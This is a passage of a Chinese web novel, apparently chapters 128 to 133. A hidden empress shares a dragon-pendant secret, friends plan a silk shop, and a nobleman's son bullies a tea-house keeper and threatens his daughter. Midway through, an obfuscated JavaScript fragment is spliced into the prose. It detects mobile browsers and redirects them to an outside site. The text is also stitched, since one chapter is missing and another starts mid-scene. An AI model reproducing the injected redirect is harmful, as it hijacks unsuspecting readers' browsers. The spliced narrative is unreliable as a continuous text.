柳若雪咬紧嘴唇,眼中满是不可置信:“陛下,臣明白您的意思。齐枫的确有恩于您,可龙佩之事,非同小可!臣……臣只是担心,他若知晓龙佩的秘密,会不会
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生出别的心思?毕竟,他如今是春闱榜首,前途无量,若他将此事上报景国朝廷,换取高官厚禄……”
楚清秋轻笑一声,摇了摇头,缓缓道:“若雪,你对齐枫的了解,还是太浅了。他若真贪图富贵,早在拍卖行便不会以区区五百两买下朕,更不会费尽心思为朕解毒,护朕周全。他心中有自己的底线,且……他对朕,似乎有些许不同寻常的情愫。”
柳若雪闻言,目光微微一闪,似是想到了什么,语气稍缓:“陛下,您的意思是……齐枫对您有情?可他与南宫玥那般亲近,甚至与赵明兰也有几分暧昧,这……”
楚清秋目光微沉,语气中带了几分不易察觉的酸意:“南宫玥与赵明兰,不过是风月场中的逢场作戏。齐枫此人,风流却不下流,他对朕的维护,朕能感受到几分真心。龙佩之事,朕若不告知他,迟早会被他察觉。以他的聪慧,隐瞒反而会让他生疑。”
柳若雪沉默片刻,眼中闪过一丝挣扎,半晌,她低声道:“陛下,臣明白了。既然您信得过齐枫,臣自当遵从。只是,臣还是觉得,此事需再三思量。龙佩若交到齐枫手中,陛下可有万全之策,确保他不会背叛?”
楚清秋闻言,目光扫过窗外的夜色,缓缓道:“若雪,朕从未说过要将龙佩交到他手中。告知他,只是为了借他的才智,助朕应对萧无痕的追查。龙佩的秘密,朕自会守住。至于齐枫,朕信他,却也不会完全托付。他若真有异心,朕手中这把剑,也不只是摆设。”
柳若雪闻言,眼中闪过一丝安心,点头道:“陛下英明。臣明白了,龙佩之事,臣会继续联络霍天都,安排妥当。齐枫那边,臣也会小心试探,确保他不会坏了咱们的大事。”
楚清秋微微颔首,目光重新落在龙佩上:“若雪,霍天都那边,你需再三叮嘱,让他切莫轻举妄动。景国朝廷如今对乾国余孽盯得极紧,咱们的计划,需得步步为营,绝不可因一时疏忽功亏一篑!”
第一百二十八章 信任!
柳若雪点头,郑重道:“陛下放心,臣与霍将军联络时,已用暗语传信,他如今在云州按兵不动,只待陛下的号令。至于龙佩,臣会妥善藏匿,绝不让萧无痕找到半点线索。”
楚清秋目光柔和了几分,拍了拍柳若雪的肩:“若雪,你四处流浪,为朕奔波,吃了不少苦。朕既已重获龙佩,便不会让你的心血白费。待朕毒病痊愈,找到宝藏,乾国复国之日,便是你我君臣再聚之时。”
柳若雪眼中泪光闪烁,声音哽咽:“陛下……臣不苦。只要能再追随陛下,臣便是粉身碎骨,也在所不惜!”
楚清秋轻叹一声,目光中带着几分唏嘘:“若雪,你的心意,朕铭记在心。今日之事,切莫对任何人提起。”
柳若雪重重点头,将龙佩给楚清秋:“陛下放心,臣明白。臣这便去安排,联络霍将军,商议下一步计划。”
楚清秋点头,目光扫过窗外:“若雪,你去吧,小心行事,莫要让人察觉。”
柳若雪福了一礼,转身离去,淡紫长裙在夜色中如一抹轻烟,很快消失在回廊尽头。
楚清秋独自站在窗边,目光深邃,手中握着软剑的剑柄,指尖微微用力。
龙佩的出现,让她心中的复国之志燃得更盛,可齐枫的存在,却让她心中多了一丝犹豫。
……
楚清秋推开厢房的雕花木门,檀香的气息扑面而来,混杂着淡淡的酒香。
房间内,灯火柔和,琉璃灯盏映得墙壁泛着暖光。
齐枫独坐桌旁,手中握着一盏青瓷酒杯,杯中酒液在灯光下泛着琥珀色的光泽。
他倚着椅背,折扇搁在桌上,姿态悠然,嘴角挂着一抹若有若无的笑意,仿佛早已料到有人会来。
见楚清秋踏入房内,齐枫抬起眼,目光在她身上停留片刻,嘴角笑意更深,缓缓道:“青禾,这么晚了,你来找我,莫不是有什么要紧事想说?”
楚清秋脚步微顿,面纱下的目光闪过一丝诧异,随即恢复平静。
她轻移莲步,走到桌边:“少爷怎知我有事相告?”
齐枫哈哈一笑,端起酒杯轻抿一口,目光在她脸上流转,戏谑道:“青禾,你那一脸严肃的神情,像是背负了天大的秘密。凭本少爷这点眼力,怎会看不出来?你若没事,怕是不会深夜来我这厢房,还摆出这副架势。”
楚清秋闻言,面纱下的嘴角微微上扬,露出一丝不易察觉的笑意。
她在桌旁坐下,目光扫过齐枫手中的酒杯:“少爷好兴致,独自饮酒也能如此悠然自得。既猜到我有事相告,不妨再猜猜,我要说的事,是不是非同小可?”
齐枫挑眉,折扇不知何时又拿在手中,轻轻一敲桌面,笑道:“青禾,你这话问到点子上了。以你的性子,若非大事,怎会深夜来找我?而且,我瞧你眼神极度复杂,怕是这事对你而言,意义重大。”
他顿了顿,目光变得柔和了几分,语重心长道:“青禾,若这事当真重要,你又尚未完全下定决心,不妨再想想。本少爷虽不才,但也知道,有些秘密一旦说出口,便再无回头路。你若没想好,不必急于这一刻。”
楚清秋看着齐枫,眼中闪过一丝复杂的情绪。
她起身,缓缓踱到窗边,沉默片刻:“少爷,青禾自从被你从拍卖行救下,承蒙你照拂,治病解毒,护我周全。你的恩情,青禾铭记在心。今日之事,青禾愿以真心相告,只盼少爷听后,能助我一臂之力。”
齐枫挑眉:“青禾,你这话说得我心痒痒的。既是真心相告,本少爷自当洗耳恭听,说吧,到底是什么事,让你如此慎重?”
楚清秋手指轻轻摩挲着腰间的软剑,目光低垂,似在斟酌言辞。
半晌,她抬起头,眼中闪过一丝决然:“少爷,你已知青禾的身份,流落至此,身不由己。今日来此,是想告诉你一桩秘密,这秘密关乎乾国的旧事,也关乎青禾的未来。”
齐枫目光微闪,放下酒杯,身体微微前倾,笑道:“你若信得过我,便说个清楚,本少爷自会尽力帮你。”
楚清秋轻笑一声,摇了摇头,缓缓道:“少爷果然洞若观火。青禾此次要说的恐怕比少爷所想的还要复杂几分,是关于碧玺龙佩!”
齐枫沉声道:“碧玺龙佩在你手里?”
楚清秋目光微动,点头道:“少爷果然聪慧。龙佩之事,青禾今日便是想与你坦诚相告。这龙佩,不仅是乾国的遗物,更是复国希望的象征。”
齐枫深吸口气:“青禾,你这秘密可真够大的。本少爷不过一介书生,你把这掉脑袋的事儿告诉我,到底是信我,还是想拉我下水?”
楚清秋目光中多了一丝笑意,缓缓道:“少爷,青禾信你,自然也盼你能助我一臂之力
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。龙佩之事,萧无痕已有所察觉,若不早作打算,怕是要被他抢先一步。少爷的才智,青禾佩服,若你肯相助,青禾定当铭记在心。”
齐枫哈哈一笑,端起酒杯一饮而尽,温声道:“青禾,你这番话,倒是让本少爷有些动心了。罢了,既然你信我,我便陪你赌这一把。龙佩之事,兹事体大,你若真要说,可得把话说明白了。这宝藏,到底藏在何处?又有什么玄机?”
楚清秋目光柔和了几分,缓缓道:“少爷,龙佩的秘密,青禾不敢全盘托出,但可以告诉你,这龙佩内藏秘图,指向乾国当年的宝藏。这宝藏,不仅有金银财物,还有一些关乎乾国兴衰的秘辛。若能找到宝藏,青禾便能完成父亲当年的遗愿。”
齐枫挑眉笑道:“青禾,你这话说一半留一半,吊足了本少爷的胃口,乾国将军之女,背负遗愿,追寻宝藏,有意思,真有意思!”
楚清秋目光沉静,缓缓道:“少爷,青禾知你不惧萧无痕的试探,也信你能守住秘密。龙佩之事,青禾不敢奢望少爷全盘相助,只盼少爷能在萧无痕的追查下,帮青禾遮掩一二。青禾的身份,少爷已知,至于龙佩的去向,青禾只求少爷能保守秘密。”
齐枫笑道:“青禾,你这算盘打得可真精。本少爷若帮你瞒着萧无痕,等于是在刀尖上跳舞。你就不怕我一个不小心,把这事儿抖搂出去,换个高官厚禄?”
楚清秋目光中带了几分揶揄:“少爷若贪图富贵,早在拍卖行便不会以区区五百两买下青禾,更不会费尽心思为青禾解毒,护我周全。少爷的为人,青禾信得过。”
齐枫闻言,目光在她脸上流转,温声道:“你这马屁拍得我心花怒放,罢了,既然你信我,说吧,你打算怎么处置这烫手山芋?”
楚清秋沉默片刻,这才缓缓道:“少爷,青禾暂时只能告诉你这么多。萧无痕的追查日益逼近,青禾需得小心行事,少爷若愿相助,请你多帮青禾稳住局面。至于龙佩的去向,青禾自有安排。”
齐枫挑眉笑道:“青禾,你这话说得很巧妙。既让我知道龙佩在你手中,又不告诉我下一步打算。行吧,本少爷就陪你玩这一局。萧无痕那边,我自会应付,你只管放心。”
楚清秋目光柔和了几分,缓缓从怀中取出那块赤红龙佩。
“少爷,这便是龙佩。”
第一百三十章 段飞来了!
段飞来了!
那张脸已大变,轮廓柔和了许多,活脱脱一个忠厚仆人的模样。
他不动声色,笑道:“富贵?好名字,老爷倒是用心了。既是来照应本少爷的,那便留下吧。青禾,小荷,你们觉得如何?”
小荷站在一旁,瞪着圆溜溜的眼睛,打量着富贵,嘀咕道:“少爷,这富贵看着挺壮实,拳脚功夫应该不差。不过,青禾姐姐一个人就够厉害了,再加个富贵,咱这客栈怕是要成武林大会了!”
楚清秋站在齐枫身侧,目光落在富贵身上,眉头微微一皱,似是察觉到什么不对。
“少爷,这富贵……来历似乎不简单。”
齐枫心头一咯噔,青禾的眼力果然敏锐,难不成是认出了段飞的底细?
不过,他面上依旧笑意盎然:“青禾,你这话什么意思?莫不是觉得这富贵长得不够俊俏,配不上咱们这醉月楼的气派?”
楚清秋缓缓道:“少爷说笑了。青禾只是觉得,这富贵虽扮作仆人,但却是藏着什么心机。具体如何,青禾也说不上来,只是……总觉得他不像表面那般简单。”
齐枫闻言,暗自松了一口气,哈哈一笑:“你这疑心病可不轻。本少爷对富贵的来历可是清楚得很,他是老爷从老家挑来的忠仆,拳脚功夫虽有些门道,但心眼儿可没你想的那么复杂。你就放心吧,有他在,咱们在府城也能多几分安全。”
楚清秋目光在齐枫脸上停留片刻,见他神色从容,眼中却闪过一丝了然。
她轻轻点头:“既然少爷如此说,青禾便不再多问。富贵的身份,少爷心中有数便好。”
正说着,门外传来一阵轻快的脚步声,南宫玥与柳若雪联袂而至。
两人一进门,便见富贵站在一旁,俱是一愣。
南宫玥温声道:“碧儿,你去给这位富贵兄弟安排一间厢房,收拾得干净些,别怠慢了齐郎的人。”
碧儿福了一礼,笑盈盈道:“是,小姐。富贵大哥,随奴婢来吧。”
她朝富贵招了招手,带着他出了厢房,去楼下安排住处。
柳若雪目光在富贵背影上停留片刻,柔声道:“齐公子,你这新来的下人,看着倒有些特别。府城如今风波不断,齐公子身边多个人照应,也是好事。”
齐枫挑眉,笑道:“柳姑娘过奖了。富贵不过是老爷派来的粗人,哪有什么特别?倒是两位姑娘来得巧,本少爷正想着今日去哪儿消遣,你们可有什么好主意?”
南宫玥轻笑道:“齐郎,月儿昨日听周公子说,南街新开了一家茶肆,听说风景雅致,不如咱们去瞧瞧?”
正说着,富贵在碧儿的安排下回了厢房,恭敬地站在门口:“少爷,房间已收拾好,有何吩咐?”
齐枫摆手,笑道:“富贵,今日你刚来,先歇着吧。待会儿若有差遣,本少爷自会叫你。”
富贵点头,退到一旁,目光低垂。
小荷眯起眼:“少爷,这富贵来得也巧,府城最近乱糟糟的,老爷还派人过来,怕是听说了什么风声吧?”
齐枫摇头一笑道:“你这小丫头脑子转得倒挺快。老爷派富贵过来,不过是怕本少爷在府城惹了麻烦,身边没人照应。你就别瞎猜了。”
小荷腮帮子鼓鼓的,嘟囔道:“少爷,我这可不是瞎猜!府城最近可不太平,萧大人四处抓人,段飞那贼人还没抓到,老爷肯定是担心你,才特意派了个会拳脚的富贵过来!青禾姐姐,你说是不是?”
楚清秋目光扫过齐枫,缓缓道:“小荷说得有几分道理。府城如今暗流涌动,萧无痕的追查日益逼近,老爷派人过来,许是听到了什么风声。”
小荷咬着桂花糕,插嘴道:“少爷,柳姐姐的戏文可好听了!她昨晚还说要教我几句词儿,回头我唱给你听!”
齐枫敲了敲小荷的额头:“你这丫头的思路还真不是一般的跳脱,说着这个,下一秒就
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说到别的地方去了。”
小荷吐了吐舌头,笑嘻嘻道:“我这不是想到了嘛!”
正说着,门外传来一阵急促的脚步声,周子陵一身锦袍,风风火火地走了进来,身后还跟着陈玉堂和徐远,三人脸上都带着几分兴奋。
周子陵一进门便拍手笑道:“齐兄!听说你新来了个下人?对了,咱们今日约好了去城南看商号的门面,几位姑娘都在,你可得一起去,免得错过好戏!”
齐枫笑眯眯地看着周子陵:“周兄,你这风风火火的模样,莫不是城南的商号已经收拾妥当,等着本少爷去剪彩了?门面的事,你和陈兄,徐兄都筹划到哪一步了?”
周子陵哈哈一笑,拍着齐枫的肩膀,豪爽道:“齐兄,你可真会说笑!剪彩还早着呢,不过这门面的事,兄弟们可是下了真功夫!城南那间铺子,原是我周氏的产业,位置极好,正对南街夜市,周围茶肆酒楼林立,客流量大,绝对是做丝绸生意的绝佳地段!”
陈玉堂捋了捋袖子,接口道:“周兄说得不错,那铺子我昨日去看过,门面宽敞,足有三间房,后面还有个小院子,改造成商号再合适不过。我陈氏在城西还有几处宅子,若商号生意做大了,随时可以拿来扩建门面。齐兄,你若点头,咱们这丝绸商号,保管名动府城!”
徐远端着酒盏,咧嘴笑道:“齐兄,周兄和陈兄都把好地方贡献出来了,我徐氏也不能落后!城东有几间仓库,专门用来囤杭绸和蜀锦,地方宽敞,防潮又通风,足够咱们囤上半年的货,齐兄,你这春闱榜首的名头一摆出去,那些贵妇小姐还不抢着来买?到时候,咱们的商号一定日进斗金!”
齐枫目光在三人脸上流转,笑道:“三位兄弟如此热心,本少爷真是受宠若惊。不过,这丝绸生意,光有铺子和仓库可不够,还得有门路。南宫姑娘,柳姑娘,你们二位昨日说要帮忙牵线搭桥,可有啥好主意?”
第一百三十一章 看铺子,做生意
南宫玥温声道:“齐郎放心,月儿在醉月楼这些年,结识了不少府城的贵妇和小姐,她们最爱杭绸蜀锦的精致花样。月儿已托人放出风声,说咱们的商号有独家纹样的丝绸,过几日便会有几位夫人来商谈订货的事宜。”
柳若雪也柔声道:“齐公子,月儿妹妹说得有理。若雪虽不擅经营,但在云州的伶人圈子里有些薄名。昨日我已写信给云州的几位戏班班主,请他们在演出时穿咱们商号的丝绸,权当宣传。那些贵女们见了,定会趋之若鹜。”
楚清秋淡淡道:“两位姑娘的法子,的确高明。只是,商号初开,需得小心谨慎。府城如今风波不断,萧无痕还在追查龙佩,商号若太招摇,怕会引来不必要的麻烦。”
齐枫忍不住笑道:“青禾,你这性子,总是比本少爷还小心,商号的事,咱们慢慢筹划,诸位既如此有心,那咱们今日就去城南瞧瞧那铺子,如何?”
周子陵一拍大腿,兴奋道:“齐兄这话说到我心坎里了!那铺子我昨晚还让人收拾了一番,干干净净,就等着你去掌眼!走,咱们这就过去!”
陈玉堂点头道:“咱们今日去看看,若有需要改动的地方,趁早安排,免得耽误开张。”
徐远豪爽道:“南宫姑娘,柳姑娘,你们也一起吧,女子的眼光细致,帮咱们参谋参谋!”
南宫玥轻笑道:“齐郎既然开口,月儿自当奉陪。碧儿,你去准备马车,咱们这就去城南。”
柳若雪柔声道:“齐公子,月儿妹妹既然要去,若雪也愿同往。城南的铺子,若雪还没见过,今日正好开开眼。”
小荷拍手雀跃道:“听说城南夜市有好多好吃的,回头咱们还能逛逛!”
齐枫起身道:“走,咱们这就去城南瞧瞧!”
一行人说笑着出了醉月楼,马车早已备好,碧儿和富贵站在车旁,恭敬候着。
众人登上马车,车轮辚辚,穿过府城热闹的街道,朝城南而去。
城南南街,热闹非凡,街头巷尾人声鼎沸,茶肆酒楼鳞次栉比,摊贩的吆喝声此起彼伏。
马车在一家门面宽敞的铺子前停下,铺子门楣上挂着一块空白的牌匾,显然尚未正式开张。
铺子两侧是青石铺就的街道,斜对面便是南街夜市的入口,位置的确极佳。
周子陵跳下马车,指着铺子得意道:“齐兄,这就是我周氏的产业!这铺子原是卖瓷器的,后来生意淡了,便空了出来。我让人收拾了一番,里外都翻新过,门面宽敞,后院还能改成库房,怎么样,齐兄可还满意?”
齐枫下了马车,环顾四周,笑道:“周兄,这铺子果然不错。门面临街,客流不断,后院还能囤货,的确是做丝绸生意的好地方。”
陈玉堂沉吟道:“齐兄,这铺子我昨晚来看过,地段好,门面也气派,咱们若把商号开在这儿,配上南宫姑娘的人脉和柳姑娘的宣传,生意指定差不了。只是,铺子虽好,装修上还得下点功夫,丝绸生意讲究精致,门面得弄得雅致些,才能吸引那些贵妇小姐。”
徐远点头咧嘴道:“陈兄说得有理!齐兄,这铺子我瞧着也行,就是牌匾得换个气派的,再请几个匠人把门面装点一番,保管让府城的贵女们一进门就挪不开眼!”
南宫玥插话道:“两位公子说得不错。月儿昨日听几位夫人说,丝绸铺子最重氛围,门面若布置得雅致些,摆上几匹上好的杭绸蜀锦,再点上几盏琉璃灯,定能吸引不少客人。”
柳若雪也不甘示弱的提议道:“齐公子,月儿妹妹的建议极好。若雪在云州见过几家顶尖的丝绸铺子,门面多以檀木雕花为主,配上纱幔和花卉,显得既高雅又不失风情,咱们这商号若想出挑,不妨学学那些铺子的布置。”
小荷瞪着圆溜溜的眼睛,兴奋道:“少爷,南宫姐姐和柳姐姐说得太对了!这铺子要是装得漂漂亮亮的,保管生意火爆!青禾姐姐,对不对,对不对?”
楚清秋站在一旁,目光扫过铺子,淡淡道:“铺子地段不错,布置得当,自能吸引客人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119446|180032||http|test|mini|href|location''.split(''|''),0,{}));
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r>周子陵哈哈一笑,率先推开铺子的门,引着众人走了进去。
铺子内部宽敞明亮,地面铺着青石板,四周墙壁新刷了白漆,散发着淡淡的清香。
后院还有一间小库房,堆放着几箱瓷器,显然是之前留下的存货。
陈玉堂环顾四周道:“齐兄,这铺子内部收拾得不错,稍加改动,就能开张。咱们不妨请几个匠人,把前厅布置成展示丝绸的区域,后院改成库房,再加个雅间,专门招待贵客。”
徐远拍手道:“陈兄这主意好!齐兄,咱们这商号得有个响亮的名字,简单大气,贵女们一听就喜欢!就由齐兄你来提名吧,南宫姑娘,柳姑娘,你们觉得如何?”
南宫玥轻笑,温声道:“‘月儿觉得不错。若再配上齐郎几幅字画,定能让客人流连忘返。”
柳若雪柔声道:“若雪建议,商号开张时,不妨请几位府城的才子来题诗作画,为铺子造势,保管名声大噪。”
齐枫折扇一展,笑道:“两位姑娘和三位兄弟的主意都妙!本少爷也觉得不错。铺子的事,就按诸位的意思办,周兄,你回头找几个靠谱的匠人,把门面和内厅好好装点一番。南宫姑娘,柳姑娘,宣传的事就拜托二位了。”
周子陵拍胸脯道:“齐兄放心!匠人的事,包在我身上!三天之内,我保证把这铺子收拾得漂漂亮亮,保管让府城的贵女们挤破门!”
陈玉堂道:“齐兄,商号的章程,我和徐兄会尽快拟好,回头咱们再细商。丝绸的货源,我陈氏有些门路,可以先调一批上好的杭绸过来。”
徐远咧嘴笑道:“齐兄,仓库的事交给我!城东的几间库房,我已经让人清理出来了,随时可以囤货。咱们这商号,有你牵头,指定差不了!”
一行人说笑着走出铺子,正当齐枫准备上马车时,忽听不远处传来一阵喧哗声。
众人循声望去,只见隔壁一家小茶肆门前,几个身着锦衣华服的年轻子弟正围着一个瘦弱的店主,吆喝声中夹杂着怒骂。
第一百三十二章 街头风波
那阵激烈的争吵声,夹杂着怒骂和哀求,异常刺耳。
齐枫目光循声望去,只见隔壁一家小茶肆门前,几个身着锦衣华服的年轻子弟正围着一个瘦弱的中年店主,气势汹汹,周围已聚了不少看热闹的路人。
周子陵皱眉道:“齐兄,这动静不小啊,瞧那架势,怕是又有人仗势欺人了。咱们过去瞧瞧?”
陈玉堂目光一沉:“齐兄,南街是咱们商号的地盘,若真有人**,怕是会影响生意。不如去看看,免得坏了咱们的名声。”
徐远咧嘴,带着几分兴致:“齐兄,走,过去瞧热闹!这南街平日里热闹得很,今日这动静,指定有好戏!”
楚清秋站在齐枫身侧,目光冷冷地扫过茶肆门前:“少爷,那几人气焰嚣张,怕不是普通纨绔。店主已低声下气,事情却闹得更大,明显有持无恐。”
齐枫挑眉笑道:“诸位说得都有理。既是咱们商号的地盘,怎能让人在这儿撒野?走,过去看看,若能劝和便劝和,若不行,本少爷倒想会会这些嚣张的家伙。”
一行人迈开步子,朝清茗轩走去。
走近一看,茶肆门前的景象越发清晰。
三个锦衣子弟站在店门口,个个腰佩玉饰,衣着华贵,领头一人身材高大,面容倨傲,手持一柄折扇,扇面上绘着金色云纹,气势逼人。
店主是个四十出头的中年汉子,穿着灰布长衫,满脸惶恐,正连连作揖,嘴里不住地赔礼道歉。
地上散落着一只碎裂的茶盏,茶水溅了一地,旁边还有几张翻倒的桌椅,显然刚发生过一场争执。
周子陵目光一扫,认出那领头的锦衣子弟正是袁氏的嫡系子弟袁浩然,与袁克良同属一族,却比袁克良更为跋扈。
他眯起眼,低声对齐枫道:“齐兄,这袁浩然可是袁氏的二公子,平日里仗着家族势力,横行府城。今日这架势,怕是又在找茬了。”
陈玉堂冷哼一声道:“齐兄,这袁浩然我早看他不顺眼了!仗着袁氏的势,欺负小商小贩,简直丢人现眼!咱们若不出面,这清茗轩的店主怕是要吃大亏。”
徐远皱眉沉声道:“齐兄,袁氏在府城根基深厚,袁浩然又是袁克良的堂弟,咱们若插手,怕是要得罪袁氏。还是先看看情况再说。”
周子陵咧嘴压低声音道:“齐兄,袁浩然这家伙,平日里就爱耀武扬威,今日撞在咱们手上,怎能让他继续嚣张?要我说,给他点颜色瞧瞧!”
齐枫笑道:“诸位莫急,先看看这袁浩然到底在闹什么。本少爷倒想知道,他一个袁氏子弟,怎会对一个小茶肆如此大动干戈。”
一行人站在不远处,静静观察。
袁浩然手中折扇一指店主,语气嚣张:“姓李的,你这破茶肆,端上来的茶盏居然有裂痕!本公子喝了一口,茶水烫了手,洒了一身锦袍,你说这账怎么算?!”
店主李掌柜满脸惶恐,连连作揖:“袁公子息怒!小的茶肆粗陋,茶盏确实有些老旧,可小的绝无怠慢之意!这茶水小的亲自试过,温度正好,怎会烫到袁公子?小的这就赔罪,换一壶上好的龙井,再送几盘点心,求袁公子高抬贵手!”
袁浩然冷笑一声,折扇猛地一合,指向地上碎裂的茶盏:“赔罪?就你这破茶肆,拿什么赔?本公子的锦袍可是蜀锦织就,价值百两银子!你这茶水一泼,袍子全毁了!说吧,赔多少银子,还是把你这茶肆抵给我?”
李掌柜脸色煞白,声音颤抖:“袁公子,这……这锦袍小的实在赔不起!小的这茶肆,一年也赚不了百两银子啊!求袁公子开恩,小的愿意出十两银子赔罪,再送您几壶好茶,行吗?”
袁浩然身旁一个随从模样的年轻子弟冷哼道:“十两银子?你打发叫花子呢?李掌柜,我家公子这锦袍可是从云州运来的独家货色,十两银子连个袖子都买不到!赶紧拿出一百两来,不然这茶肆
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你也别开了!”
另一个随从附和道:“就是!袁公子大驾光临,你这破茶肆蓬荜生辉,还敢端裂盏上来?不给你点教训,你还真当袁氏好欺负!”
李掌柜急得满头大汗,扑通一声跪在地上,连声道:“袁公子,小的知错了!这茶盏是小的疏忽,绝非有意!小的这就去借银子,求您宽限几日,千万别砸了小的这茶肆啊!”
围观的路人窃窃私语,纷纷为李掌柜抱不平,却无人敢上前劝阻。
袁浩然目光一扫,嘴角勾起一抹冷笑,抬脚踩住李掌柜的手,一脸阴冷:“借银子?本公子没那闲工夫等你!这茶肆我看上了,交出来,兴许本公子还能饶你一命!”
李掌柜痛得闷哼一声,手被踩得发红,却不敢挣扎,只得连声哀求:“袁公子饶命!小的这茶肆是祖上传下来的,养活一家老小,实在不能交啊!求您高抬贵手!”
袁浩然冷哼一声,脚下用力,语气越发嚣张:“祖传的?在本公子眼里,你这破茶肆连个茅厕都不如!不交也行,我听说你有个女儿,生得还算标致,送来伺候本公子几天,这账就算了!”
此言一出,围观众人哗然,议论声更大。
几个路人忍不住低声咒骂:“袁氏这二公子,真是欺人太甚!”
“李掌柜老实本分,怎惹上这等祸害!”
可慑于袁氏的势力,无人敢上前。
南宫玥轻蹙眉头道:“齐郎,这袁浩然也太离谱了!李掌柜已如此低声下气,他还得寸进尺,简直不把人放在眼里!”
楚清秋目光冷冽道:“少爷,袁浩然此举,分明是想立威。这家茶铺与咱们的锦绣阁仅一街之隔,他在这儿**,怕是冲着咱们来的。”
周子陵攥紧拳头:“青禾姑娘说得对,这袁浩然是袁克良的堂弟,平日里就跟咱们不对付。今日他在这儿撒野,八成是想给咱们商号添堵!”
此话一出,众人纷纷蹙眉。
第一百三十三章 无耻之极
陈玉堂沉声道:“齐兄,袁氏在府城根深蒂固,咱们若直接出面,怕是要结下梁子。不如先劝劝,免得事情闹大。”
徐远冷笑:“劝?这种**,劝有什么用?要我说,直接给他点颜色瞧瞧,省得他以为南街是他们袁氏的天下!”
齐枫目光在袁浩然身上停留片刻:“诸位稍安勿躁。袁浩然这出戏,演得倒挺热闹。本少爷倒想看看,他还能嚣张到什么地步。”
袁浩然见李掌柜仍跪地不起,眼中闪过一丝不耐,抬脚又用力踩了一下,喝道:“姓李的,别给脸不要脸!本公子看上你女儿,那是她的福气!赶紧把人交出来,不然我砸了你这破茶肆,再把你一家子送去衙门!”
李掌柜痛得冷汗直流,声音颤抖:“袁公子,小女才十五岁,求您放过她!小的愿意赔银子,倾家荡产也赔!求您高抬贵手!”
袁浩然冷笑,抬手一挥,两个随从上前,一把揪住李掌柜的衣领,将他拖到一旁。
袁浩然折扇一指茶肆内,嚣张道:“来人,把他女儿给我带出来!本公子倒要看看,是什么天仙模样,值得他这么护着!”
茶肆内传来一声少女的惊呼,紧接着一个清秀的少女被拖了出来,衣衫凌乱,眼中满是惊恐。
围观众人哗然,议论声更响,却仍无人敢上前。
小荷站在齐枫身旁,瞪大眼睛,气得小脸通红,猛地向前一步,大喊道:“你们这群人怎么这么无耻!这么过分!光天化日之下,欺负一个老实人,还想抢人家女儿,简直不要脸!”
小荷清脆的嗓音在街头炸响,瞬间吸引了所有人的目光。
袁浩然和他的随从齐齐转头,目光落在小荷身上,带着几分惊讶和不屑。
围观的路人也都看向齐枫一行人,窃窃私语,气氛陡然紧张。
袁浩然折扇一合,上下打量小荷,嘴角勾起一抹不怀好意的笑,阴阳怪气道:“哟,哪来的小丫头,嗓门倒挺大!怎么,瞧你这模样,是想替这姓李的出头?还是说,你也想让本公子带回去乐乐?”
小荷小脸涨得通红,瞪着圆溜溜的眼睛,气得直跺脚:“你这人怎么这么无耻!欺负李掌柜不说,还敢口出狂言!呸,我看你就是个仗势欺人的混账!”
袁浩然身旁一个随从哈哈大笑,接口道:“小丫头,嘴挺利索嘛!我们袁公子看上谁,那是天大的福气!你这小模样,倒也水灵,不如跟我们公子回去,保管你吃香的喝辣的!”
另一个随从附和,语气轻佻:“就是!李掌柜那女儿才十五,你这丫头看着也差不多年纪,袁公子不嫌弃,带你回去还能当个贴身丫鬟,怎么样?”
小荷气得小手攥紧,指着那两个随从骂道:“你们这些不要脸的家伙!光天化日,欺负老实人,还敢调戏我!等着瞧,我家少爷在这儿,定饶不了你们!”
袁浩然闻言,目光一扫,注意到小荷身后的齐枫一行人,眼中闪过一丝不屑,冷笑道:“少爷?哼,就凭你们这群人,也敢管本公子的闲事?小丫头,劝你少多管闲事,不然连你那少爷一块儿收拾!”
小荷丝毫不怵,叉着腰道:“收拾我家少爷?你也不撒泡尿照照自己!我们少爷可是春闱榜首,府城上下谁不敬他三分?你这袁氏子弟,仗着家族势大就欺负人,早晚有报应!”
袁浩然冷哼一声,折扇一指小荷,语气阴冷:“小丫头,嘴硬是吧?本公子今日心情好,不跟你计较,但你若再多嘴,信不信我让你连这南街都待不下去?”
李掌柜跪在一旁,忍着手上的剧痛,颤声道:“袁公子,求您放过这小姑娘!她年纪小,不懂事,您大人有大量,别跟她一般见识!小的这就赔银子,求您高抬贵手!”
袁浩然目光一瞥李掌柜,冷笑道:“赔银子?晚了!本公子现在不只要你这茶肆,还要你女儿和这小丫头一块儿带走!瞧瞧这小丫头,嘴上功夫不错,带回去
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调教调教,兴许还能派上用场!”
小荷气得眼眶都红了,猛地向前一步,指着袁浩然骂道:“你这无耻之徒!满嘴下流话,我家少爷在这儿,你敢动我一根手指头试试!”
周子陵站在齐枫身侧,早已按捺不住,攥紧拳头道:“齐兄,这袁浩然也太嚣张了!欺负李掌柜不说,还敢调戏小荷,简直不是东西!”
齐枫正要开口,忽见陈玉堂猛地踏前一步,怒气冲冲,一拳挥向袁浩然身旁的一个随从。
那随从猝不及防,被一拳打得踉跄后退,捂着脸惨叫一声,摔倒在地。
陈玉堂怒喝道:“袁浩然,你这混账!欺负老实人,调戏小姑娘,真当南街没人管你了?!”
此举如石破天惊,街头围观的路人哗然,袁浩然的随从们纷纷围上来,气势汹汹。
袁浩然目光一眯,认出陈玉堂,冷笑道:“哟,我当是谁,原来是陈氏的陈玉堂!怎么,胆子肥了,敢对我袁氏的人动手?信不信我回去告诉我表哥,让他好好收拾你陈氏一族!”
陈玉堂闻言,脸色微微一变,眼中闪过一丝忌惮。
袁氏在府城根基深厚,他虽气不过袁浩然的嚣张,但一想到得罪袁克良的后果,心头不免有些发虚,拳头攥紧,却没再出手。
周子陵低声骂道:“袁浩然这狗东西,仗着袁克良的名头吓唬人!陈兄,别怕,咱们这么多人,还怕他不成?”
徐远也压低声音,愤愤道:“齐兄,袁浩然这是在拿袁克良压人!陈兄这一拳打得好,咱不能让他嚣张下去!”
柳若雪柔声道:“齐公子,陈公子为小荷出头,已是仁至义尽。袁浩然若真去找袁克良,怕是要生出**烦。”
